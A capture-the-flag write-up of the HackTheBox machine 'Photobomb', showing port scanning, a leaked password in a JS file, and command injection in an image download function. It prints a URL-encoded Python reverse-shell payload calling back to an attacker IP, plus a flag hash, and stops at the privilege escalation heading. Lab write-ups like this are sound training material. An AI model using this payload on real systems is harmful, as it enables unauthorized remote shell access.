# Photobomb 10.10.11.182

<figure><img src="https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FVpjlKmjhj65Wcgkl8sRH%2Fimage.png?alt=media&#x26;token=5efb97b3-cdff-4b5e-b5c5-de793bd65762" alt=""><figcaption></figcaption></figure>

## Background&#x20;

Photobomb is a Linux base machine from HackTheBox that required your patience in web application knowledge with command injection techniques and the Linux basic concept of sudo is required on the privilege escalation. It is a basic OSCP-like Box.

Command Injection was found on a download function of this web application, which can help to gain initial access. [Linpeas ](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)show you there is a problem on a sudo job. &#x20;

<130n@calvinlai.com>

Target Machine: 10.10.11.182&#x20;

Attacker Machine: 10.10.14.7

## Hacking Process Part 0 – Service Scanning&#x20;

### Nmap

1. nmap -p- -T5 --min-rate=1000 10.10.11.182 -oG fkclai.nmap
2. nmap -p $(grep -Eo '\[0-9]{1,5}/open' fkclai.nmap | cut -d '/' -f 1 | tr -s '\n' ',') -sC -sV 10.10.11.182 -o nmap-result.txt

<figure><img src="https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FcRzYkqHrf6GOYIF2BBKG%2Fimage.png?alt=media&#x26;token=a8be93fe-83ff-4265-8786-f48d59c4d6d5" alt=""><figcaption></figcaption></figure>

### Enumeration Strategies

No vulnerability was found on the SSH and HTTP service, it was going to review the web application to check for any information leakage or misconfiguration.

## Hacking Process Part 1 – Enumeration&#x20;

With basic web enumeration, a password was found on a JS file that can log on to an image download function. This download function has a command injection problem.

<figure><img src="https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2F9eTKv12agjxdIsWRn4A3%2Fimage.png?alt=media&#x26;token=252bbb39-5ab4-48fb-98f3-5ef70f174474" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2Frgph3q4x1IFNkKGi9VUU%2Fimage.png?alt=media&#x26;token=32f5d60d-1cc6-4ed6-a5d3-7bf240dc8d0b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2F0dGSvzL1ALH08EcxV7sz%2Fimage.png?alt=media&#x26;token=2f91aa9c-1b2c-419d-aae4-774188851835" alt=""><figcaption></figcaption></figure>

### Possible Command Injection

[Command Injection](https://owasp.org/www-community/attacks/Command_Injection) was found on the image download function, the Netcat command can have a response.

<figure><img src="https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FiAZWIXFNAggtYUKncmYE%2Fimage.png?alt=media&#x26;token=6db87e5a-8c38-4179-a68c-6eb09d8feea6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FE8FP5uvKAfibQKIXM3zi%2Fimage.png?alt=media&#x26;token=1193d3c5-6134-4ec1-b889-6ab9a4ac42c0" alt=""><figcaption><p>the reverse shell does not obtain using netcat reverse shell.</p></figcaption></figure>

## Hacking Process Part 2 – Gaining Foothold

After several tries using the payload on the [reverse shell generator](https://www.revshells.com/), the payload in Python format can be used to obtain the reverse shell.&#x20;

<figure><img src="https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FSDSbSdcZ9wqtee9lwhGb%2Fimage.png?alt=media&#x26;token=bd436949-15a5-4955-a1b7-214d0eb7ef4b" alt=""><figcaption><p>** Remember to use the HTML parameters format</p></figcaption></figure>

```
export+RHOST="10.10.14.7";export+RPORT=1334;python3+-c+'import+sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd)+for+fd+in+(0,1,2)];pty.spawn("/bin/bash")'
```

<figure><img src="https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FJait0IIjgIGWyz4LmOfa%2Fimage.png?alt=media&#x26;token=d3e2a212-45b2-4ebc-b3d3-90760b2219d5" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FDmfZSLiHTpQdlcl6JdZk%2Fimage.png?alt=media&#x26;token=1ed7a1ae-f5e7-4789-8782-75116cbccd64" alt=""><figcaption></figcaption></figure></div>

{% hint style="info" %}
f1d429c717c9e2cebbfaf9ba33aacfc2
{% endhint %}

## Hacking Process Part 3 – Privilege Escalation
